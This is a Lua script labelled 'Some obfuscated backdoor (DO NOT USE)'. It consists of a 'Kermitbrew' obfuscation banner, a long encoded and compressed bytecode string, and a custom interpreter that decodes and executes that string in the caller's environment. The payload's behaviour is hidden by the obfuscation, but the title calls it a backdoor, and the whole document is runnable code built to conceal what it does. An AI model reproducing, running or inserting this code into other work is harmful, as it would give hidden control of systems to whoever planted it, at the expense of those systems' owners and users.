Some obfuscated backdoor (DO NOT USE)

--[[
Kermitbrew:tm: obfuscation; Version 1.0.0

  _                       _ _   _
 | |                     (_) | | |
 | | _____ _ __ _ __ ___  _| |_| |__  _ __ _____      __
 | |/ / _ \ '__| '_ ` _ \| | __| '_ \| '__/ _ \ \ /\ / /
 |   <  __/ |  | | | | | | | |_| |_) | | |  __/\ V  V /
 |_|\_\___|_|  |_| |_| |_|_|\__|_.__/|_|  \___| \_/\_/

]]

local r=string.byte;local i=string.char;local c=string.sub;local h=table.concat;local s=math.ldexp;local J=getfenv or function()return _ENV end;local l=setmetatable;local u=select;local d=unpack;local f=tonumber;local function A(d)local e,o,t="","",{}local n=256;local a={}for l=0,n-1 do a[l]=i(l)end;local l=1;local function r()local e=f(c(d,l,l),36)l=l+1;local o=f(c(d,l,l+e-1),36)l=l+e;return o end;e=i(r())t[1]=e;while l<#d do local l=r()if a[l]then o=a[l]else o=e..c(e,1,1)end;a[n]=e..c(o,1,1)t[#t+1],e,n=o,o,n+1 end;return table.concat(t)end;local f=A('23S24827524124022W22V21H24027524523S27921027427524824O24821M27J24D24827921227J24823K27L21D23K27524D27822V21227C27525427W25427Z27F28227I24824W27W24W27524023K2741Z27Y24828427M27J24524O27921H27L24824923K27R28M24423S28K27I24027I21F29428421P28424E27J24A24F27J26J27126K27227126U26M24927T27522W24N24A27P27526G26I26P26U26K24A24C27J26N26X26I26U29T27J27126I26I26V26I2A829V26Z26X26S26S2482A227529O28H29928O29P27J2AO28N2AQ2AS29P2AU2402AW2AX27J28O27727921L28427C28821E28Q25427921E28824824424025K24821E28424D28S22V21E28V24423K2BA28M28I27421E2BW2842BM27529C27524A2C424826J26Z29X26G2A02C725N2CA26P2CC2C627J25K2A529L2A02AM24827326X26T27124A24227J26729I25N2AA26M26P26Z2CU23V27J2D026I26M2AA2CF2CB26K2D82D22D429P');local n=bit and bit.bxor or function(l,e)local o,n=1,0 while l>0 and e>0 do local a,c=l%2,e%2 if a~=c then n=n+o end l,e,o=(l-a)/2,(e-c)/2,o*2 end if l<e then l=e end while l>0 do local e=l%2 if e>0 then n=n+o end l,o=(l-e)/2,o*2 end return n end local function e(o,l,e)if e then local l=(o/2^(l-1))%2^((e-1)-(l-1)+1);return l-l%1;else local l=2^(l-1);return(o%(l+l)>=l)and 1 or 0;end;end;local l=1;local function o()local a,o,c,e=r(f,l,l+3);a=n(a,152)o=n(o,152)c=n(c,152)e=n(e,152)l=l+4;return(e*16777216)+(c*65536)+(o*256)+a;end;local function t()local e=n(r(f,l,l),152);l=l+1;return e;end;local function C()local l=o();local n=o();local c=1;local o=(e(n,1,20)*(2^32))+l;local l=e(n,21,31);local e=((-1)^e(n,32));if(l==0)then if(o==0)then return e*0;else l=1;c=0;end;elseif(l==2047)then return(o==0)and(e*(1/0))or(e*(0/0));end;return s(e,l-1023)*(c+(o/(2^52)));end;local a=o;local function s(e)local o;if(not e)then e=a();if(e==0)then return'';end;end;o=c(f,l,l+e-1);l=l+e;local e={}for l=1,#o do e[l]=i(n(r(c(o,l,l)),152))end return h(e);end;local l=o;local function f(...)return{...},u('#',...)end local function A()local d={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};local r={0,0,0,0};local l={};local a={d,nil,r,nil,l};for a=1,o()do local c=n(o(),8);local o=n(o(),170);local n=e(c,1,2);local l=e(o,1,11);local l={l,e(c,3,11),nil,nil,o};if(n==0)then l[3]=e(c,12,20);l[5]=e(c,21,29);elseif(n==1)then l[3]=e(o,12,33);elseif(n==2)then l[3]=e(o,12,32)-1048575;elseif(n==3)then l[3]=e(o,12,32)-1048575;l[5]=e(c,21,29);end;d[a]=l;end;local l=o()local n={0,0,0,0,0,0};for o=1,l do local e=t();local l;if(e==3)then l=(t()~=0);elseif(e==1)then l=C();elseif(e==2)then l=s();end;n[o]=l;end;a[2]=n a[4]=t();for l=1,o()do r[l-1]=A();end;return a;end;local function h(l,e,r)local o=l[1];local n=l[2];local e=l[3];local l=l[4];return function(...)local t=o;local c=n;local s=e;local n=l;local l=f local o=1;local i=-1;local A={};local f={...};local a=u('#',...)-1;local l={};local e={};for l=0,a do if(l>=n)then A[l-n]=f[l+1];else e[l]=f[l+1];end;end;local l=a-n+1 local l;local n;while true do l=t[o];n=l[1];if n<=10 then if n<=4 then if n<=1 then if n>0 then local o=l[2];local c=o+l[3]-2;local n={};local l=0;for o=o,c do l=l+1;n[l]=e[o];end;do return d(n,1,l)end;else local o=l[2];local c={};local n=0;local l=o+l[3]-1;for l=o+1,l do n=n+1;c[n]=e[l];end;e[o](d(c,1,l-o));i=o;end;elseif n<=2 then local o=l[2];local c=o+l[3]-2;local n={};local l=0;for o=o,c do l=l+1;n[l]=e[o];end;do return d(n,1,l)end;elseif n>3 then local n=l[2];local o=e[l[3]];e[n+1]=o;e[n]=o[c[l[5]]];else e[l[2]][c[l[3]]]=e[l[5]];end;elseif n<=7 then if n<=5 then local n=l[2];local a={};local o=0;local c=n+l[3]-1;for l=n+1,c do o=o+1;a[o]=e[l];end;local c={e[n](d(a,1,c-n))};local l=n+l[5]-2;o=0;for l=n,l do o=o+1;e[l]=c[o];end;i=l;elseif n==6 then e[l[2]]={};else e[l[2]]=r[c[l[3]]];end;elseif n<=8 then e[l[2]]={};elseif n>9 then e[l[2]][c[l[3]]]=e[l[5]];else e[l[2]]=e[l[3]][c[l[5]]];end;elseif n<=16 then if n<=13 then if n<=11 then local s;local f;local a;local u;local h;local n;e[l[2]]=r[c[l[3]]];o=o+1;l=t[o];e[l[2]]=e[l[3]][c[l[5]]];o=o+1;l=t[o];e[l[2]]=r[c[l[3]]];o=o+1;l=t[o];n=l[2];h=e[l[3]];e[n+1]=h;e[n]=h[c[l[5]]];o=o+1;l=t[o];e[l[2]]=c[l[3]];o=o+1;l=t[o];n=l[2];u={};a=0;f=n+l[3]-1;for l=n+1,f do a=a+1;u[a]=e[l];end;s={e[n](d(u,1,f-n))};f=n+l[5]-2;a=0;for l=n,f do a=a+1;e[l]=s[a];end;i=f;o=o+1;l=t[o];e[l[2]][c[l[3]]]=e[l[5]];o=o+1;l=t[o];do return end;elseif n>12 then e[l[2]]=c[l[3]];else e[l[2]]=e[l[3]][c[l[5]]];end;elseif n<=14 then do return end;elseif n==15 then do return end;else e[l[2]]=r[c[l[3]]];end;elseif n<=19 then if n<=17 then local o=l[2];local c={};local n=0;local l=o+l[3]-1;for l=o+1,l do n=n+1;c[n]=e[l];end;e[o](d(c,1,l-o));i=o;elseif n==18 then local n=l[2];local c={};local o=0;local a=n+l[3]-1;for l=n+1,a do o=o+1;c[o]=e[l];end;local c={e[n](d(c,1,a-n))};local l=n+l[5]-2;o=0;for l=n,l do o=o+1;e[l]=c[o];end;i=l;else e[l[2]]=h(s[l[3]],nil,r);end;elseif n<=20 then e[l[2]]=h(s[l[3]],nil,r);elseif n==21 then local n=l[2];local o=e[l[3]];e[n+1]=o;e[n]=o[c[l[5]]];else e[l[2]]=c[l[3]];end;o=o+1;end;end;end;return h(A(),{},J())();